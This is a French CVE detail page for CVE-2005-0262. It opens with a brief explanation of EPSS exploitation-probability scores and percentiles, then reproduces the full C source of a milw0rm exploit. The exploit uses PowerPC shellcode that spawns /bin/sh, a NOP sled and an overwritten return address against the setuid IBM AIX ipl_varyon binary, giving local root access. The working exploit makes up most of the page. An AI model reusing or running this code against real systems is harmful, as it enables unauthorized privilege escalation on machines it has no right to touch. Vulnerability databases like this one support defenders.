CVE-2005-0262 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

/* * * IBM AIX ipl_varyon elevated privileges exploit * * I just wanted to play with PowerPC (Tested on 5.2) * * intropy (intropy <at> caughq.org) * */ #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #define DEBUG 1 #define BUFFERSIZE 2048 #define EGGSIZE 2048 #define NOP 0x60 #define ADDRESS 0x2ff22fff-(BUFFERSIZE/2) /* lsd */ char shellcode_binsh[] = "\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */ "\x40\x82\xff\xfd" /* bnel <shellcode> */ "\x7f\xe8\x02\xa6" /* mflr r31 */ "\x3b\xff\x01\x20" /* cal r31,0x120(r31) */ "\x38\x7f\xff\x08" /* cal r3,-248(r31) */ "\x38\x9f\xff\x10" /* cal r4,-240(r31) */ "\x90\x7f\xff\x10" /* st r3,-240(r31) */ "\x90\xbf\xff\x14" /* st r5,-236(r31) */ "\x88\x5f\xff\x0f" /* lbz r2,-241(r31) */ "\x98\xbf\xff\x0f" /* stb r5,-241(r31) */ "\x4c\xc6\x33\x42" /* crorc cr6,cr6,cr6 */ "\x44\xff\xff\x02" /* svca */ "/bin/sh" "\x05"; unsigned long cex_load_environment(char *env_buffer, char *address_buffer, char *payload, int environment_size, int buffer_size) { int count, env_size = strlen(payload) + environment_size + 4 + 1; unsigned long address, *ret_addressp; if (DEBUG) printf("Adding nops to environment buffer..."); for ( count = 0; count < env_size - strlen(payload) - 1; count++ ) { *(env_buffer++) = NOP; } if (DEBUG) printf("size %d...\n", count); if (DEBUG) printf("Adding payload to environment buffer..."); for ( count = 0; count < strlen(payload); count++ ) { *(env_buffer++) = payload[count]; } if (DEBUG) printf("size %d...\n", count); env_buffer[env_size - 1] = '\0'; memcpy(env_buffer, "CAU=", 4); memset(address_buffer, 'A', buffer_size); address = ADDRESS; if (DEBUG) printf("Going for address @ 0x%lx\n", address); if (DEBUG) printf("Adding return address to buffer..."); ret_addressp = (unsigned long *)(address_buffer+3); for ( count = 0; count < buffer_size; count += 4) { *(ret_addressp++) = address; } if (DEBUG) printf("size %d...\n", count); address_buffer[buffer_size - 1] = '\0'; return( 0 ); } int main() { char *buffer, *egg; char *args[3], *envs[2]; buffer = (char *)malloc(BUFFERSIZE); egg = (char *)malloc(EGGSIZE); cex_load_environment(egg, buffer, (char *)&shellcode_binsh, EGGSIZE, BUFFERSIZE); args[0] = "/usr/sbin/ipl_varyon"; args[1] = "-d"; args[2] = buffer; args[3] = NULL; envs[0] = egg; envs[1] = NULL; execve( "/usr/sbin/ipl_varyon", args, envs ); return( 0 ); } // milw0rm.com [2005-06-14]